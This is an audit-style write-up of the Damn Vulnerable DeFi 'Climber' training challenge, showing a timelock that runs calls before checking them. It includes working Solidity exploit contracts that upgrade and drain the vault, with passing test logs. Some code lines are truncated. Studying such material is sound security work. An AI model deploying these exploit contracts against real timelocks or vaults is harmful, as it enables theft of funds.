Damn Vulnerable DeFi, Climber Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: July 29, 2026

Table of contents

See table

About Me

I’m a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Climber challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is July 29, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/climber/
  ClimberTimelock.sol
  ClimberTimelockBase.sol
  ClimberVault.sol
  ClimberConstants.sol
  ClimberErrors.sol
```

Protocol Summary

Climber is an upgradeable vault guarded by a timelock. The `ClimberVault` holds 10 million DVT and follows the UUPS proxy pattern, so its logic can be swapped by the owner. The owner of the vault is a `ClimberTimelock`, so no action on the vault is meant to happen instantly, everything should go through the timelock.

The vault can send out a small amount, at most 1 DVT every 15 days, through `withdraw`, which only the owner (the timelock) can call. It also has a `sweeper` role that can pull all tokens in an emergency through `sweepFunds`.

The `ClimberTimelock` is a governance style timelock with two roles, admin and proposer. A proposer calls `schedule` to register a batch of calls, and after a delay of 1 hour anyone can call `execute` to run them. `ClimberTimelockBase` holds the operation state machine and the operation records. In the test the player has no roles at all and must rescue all 10 million DVT into a recovery account.

Roles

The admin controls the timelock roles. The proposer can schedule operations. The vault owner is the timelock, and only it can withdraw or authorize an upgrade. The sweeper can drain the vault in an emergency. The timelock also holds the admin role over itself, which it uses to manage its own roles. The player starts with none of these roles.

Executive Summary

The timelock is supposed to be the safety gate for the vault. Nothing should touch the vault unless it was scheduled and the delay has passed. But the `execute` function runs the batch of calls first and only checks that the operation was scheduled afterwards, and it is open to everyone.

Because the calls inside `execute` are made by the timelock itself, and the timelock is its own admin, an attacker can call `execute` with a batch that lowers the delay to zero, grants themselves the proposer role, upgrades the vault to a malicious version, and schedules that same batch. By the time the state check runs, the operation is already scheduled and ready, so the check passes. The attacker started with no roles and walks away with all 10 million DVT.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	2

Severity	Number of issues found
Informational	0
Total	3

ID	Title	Severity
[H-1]	execute runs the batch of calls before it checks the operation is scheduled, so anyone can drain the vault	High
[L-1]	The timelock and vault change state without emitting events	Low
[L-2]	The sweeper is set without a zero address check and can never be changed	Low

Findings

High

[H-1] execute runs the batch of calls before it checks the operation is scheduled, so anyone can take over the timelock and drain the vault

Description:

The timelock is meant to work in two steps. A proposer calls `schedule` to register an operation, and after the delay anyone can call `execute` to run it. The safety comes from one check, is this operation known and ready. The problem is that `execute` runs the calls first and only checks that state afterwards.

```
// src/climber/ClimberTimelock.sol:90-98
for (uint8 i = 0; i < targets.length; ++i) {
    targets[i].functionCallWithValue(dataElements[i],
values[i]); // runs the calls first
}

if (getOperationState(id) != OperationState.ReadyForExecution)
{  // checks after
    revert NotReadyForExecution(id);
}

operations[id].executed = true;
```

`execute` has no access control, anyone can call it. So an attacker can call it with a batch that was never scheduled. The calls on line 91 run right away, and the attacker only has to make sure that by the time line 94 checks, the operation looks scheduled and ready.

That is easy, because the calls on line 91 are made by the timelock itself, and the timelock holds `ADMIN_ROLE` over its own roles.

```
// src/climber/ClimberTimelock.sol:34-38 (constructor)
_grantRole(ADMIN_ROLE, admin);
_grantRole(ADMIN_ROLE, address(this)); // self administration
_grantRole(PROPOSER_ROLE, proposer);
```

So the attacker puts four calls in the batch:

1. `updateDelay(0)`, allowed because the caller is the timelock itself, sets the wait to zero.
2. `grantRole(PROPOSER_ROLE, attacker)`, allowed because the timelock is admin, makes the attacker a proposer.
3. `upgradeToAndCall(maliciousVault, drainData)`, the timelock owns the vault, so it can upgrade it and drain it.
4. a call back into the attacker that calls `schedule` with this exact same batch.

All four run on line 91. By the time line 94 checks, the operation was just scheduled in step 4, the delay is zero, so it is ready. The check passes. The attacker began with no roles at all.

Impact:

Likelihood `High` . `execute` is open to everyone, and no role or setup is needed.

Risk `High` . The whole vault, 10 million DVT, is taken.

Proof of Concept:

The player deploys an attacker contract. In `attack` it builds the four call batch and calls `execute`. The attacker also deploys a malicious vault implementation with an open `drain` function, and the upgrade in step 3 drains the vault in the same call. The `scheduleBatch` function is the fourth call, it runs after the attacker has been granted the proposer role, so it can schedule the batch.

```
contract MaliciousVault is ClimberVault {
    function drain(address token, address recipient) external {
        SafeTransferLib.safeTransfer(token, recipient,
IERC20(token).balanceOf(address(this)));
    }
}
```

```
contract ClimberAttacker {
    // ... stores timelock, vault, token, recovery, and the batch
arrays ...

    function attack() external {
        MaliciousVault newImpl = new MaliciousVault();

        // 1. set the delay to 0
        targets.push(address(timelock));
        values.push(0);

dataElements.push(abi.encodeWithSignature("updateDelay(uint64)",
uint64(0)));

        // 2. grant this contract the proposer role
        targets.push(address(timelock));
        values.push(0);

dataElements.push(abi.encodeWithSignature("grantRole(bytes32,addres
PROPOSER_ROLE, address(this)));

        // 3. upgrade the vault to the malicious impl and drain it
in one call
        targets.push(address(vault));
        values.push(0);
        dataElements.push(
            abi.encodeWithSignature(
                "upgradeToAndCall(address,bytes)",
                address(newImpl),

abi.encodeWithSelector(MaliciousVault.drain.selector, token,
recovery)
            )
        );

        // 4. schedule this same batch
        targets.push(address(this));
        values.push(0);

dataElements.push(abi.encodeWithSelector(this.scheduleBatch.selectc

        timelock.execute(targets, values, dataElements, SALT);
    }

    function scheduleBatch() external {
        timelock.schedule(targets, values, dataElements, SALT);
    }
}

function test_climberExploit() public {
    vm.startPrank(player, player);

    console.log("BEFORE ATTACK");
```

```
    console.log("vault DVT      :",
token.balanceOf(address(vault)));
    console.log("recovery DVT   :", token.balanceOf(recovery));
    console.log("timelock delay :", timelock.delay());
    console.log("attacker is proposer:",
timelock.hasRole(PROPOSER_ROLE, player));

    ClimberAttacker attacker = new ClimberAttacker(timelock,
vault, address(token), recovery);
    attacker.attack();

    vm.stopPrank();

    console.log("AFTER ATTACK");
    console.log("vault DVT      :",
token.balanceOf(address(vault)));
    console.log("recovery DVT   :", token.balanceOf(recovery));
    console.log("timelock delay :", timelock.delay());

    assertEq(token.balanceOf(address(vault)), 0, "vault still has
tokens");
    assertEq(token.balanceOf(recovery), VAULT_TOKEN_BALANCE,
"recovery did not get all tokens");
}
```

Run the test:

```
[PASS] test_climberExploit() (gas: 4332334)
Logs:
  BEFORE ATTACK
  vault DVT      : 10000000000000000000000000
  recovery DVT   : 0
  timelock delay : 3600
  attacker is proposer: false
  AFTER ATTACK
  vault DVT      : 0
  recovery DVT   : 10000000000000000000000000
  timelock delay : 0

Suite result: ok. 1 passed; 0 failed; 0 skipped
```

The attacker starts with no roles. After the attack the delay is zero, the vault is empty, and all 10 million DVT are in the recovery account.

Recommended Mitigation:

Check the operation state before running the calls, not after. This is the checks before effects order.

```
+ if (getOperationState(id) != OperationState.ReadyForExecution) {
+     revert NotReadyForExecution(id);
+ }
+ operations[id].executed = true;
```

```
+
  for (uint8 i = 0; i < targets.length; ++i) {
      targets[i].functionCallWithValue(dataElements[i],
        values[i]);
  }
-
- if (getOperationState(id) != OperationState.ReadyForExecution) {
-     revert NotReadyForExecution(id);
- }
-
- operations[id].executed = true;
```

Now an operation that was never scheduled is rejected before any call runs, so the attacker can not self authorize in the middle of the call.

Low

[L-1] The timelock and vault change state without emitting events

Description:

None of the climber contracts declare a single event. State changing functions like `updateDelay`, `schedule`, `execute` and the vault withdrawals all run silently.

```
// src/climber/ClimberTimelock.sol:101-111
function updateDelay(uint64 newDelay) external {
    if (msg.sender != address(this)) {
        revert CallerNotTimelock();
    }
    if (newDelay > MAX_DELAY) {
        revert NewDelayAboveMax();
    }
    delay = newDelay;
}
```

Impact:

Likelihood `Low` Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Declare events and emit them on each state change, for example on `schedule`, `execute` and `updateDelay`.

```
+ event DelayUpdated(uint64 newDelay);

  function updateDelay(uint64 newDelay) external {
      ...
      delay = newDelay;
+     emit DelayUpdated(newDelay);
  }
```

[L-2] The sweeper is set without a zero address check and can never be changed

Description:

The vault sets the sweeper once during `initialize`, with no check that it is not the zero address, and there is no function to change it later.

```
// src/climber/ClimberVault.sol:70-72
function _setSweeper(address newSweeper) private {
    _sweeper = newSweeper;
}
```

If the sweeper is set to the zero address by mistake, `sweepFunds` becomes unusable and the emergency exit is gone forever. If the sweeper key is ever lost or compromised, there is also no way to rotate it.

Impact:

Likelihood `Low` Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Reject the zero address, and add an owner controlled way to update the sweeper.

```
  function _setSweeper(address newSweeper) private {
+     if (newSweeper == address(0)) {
+         revert InvalidSweeper();
+     }
      _sweeper = newSweeper;
  }
```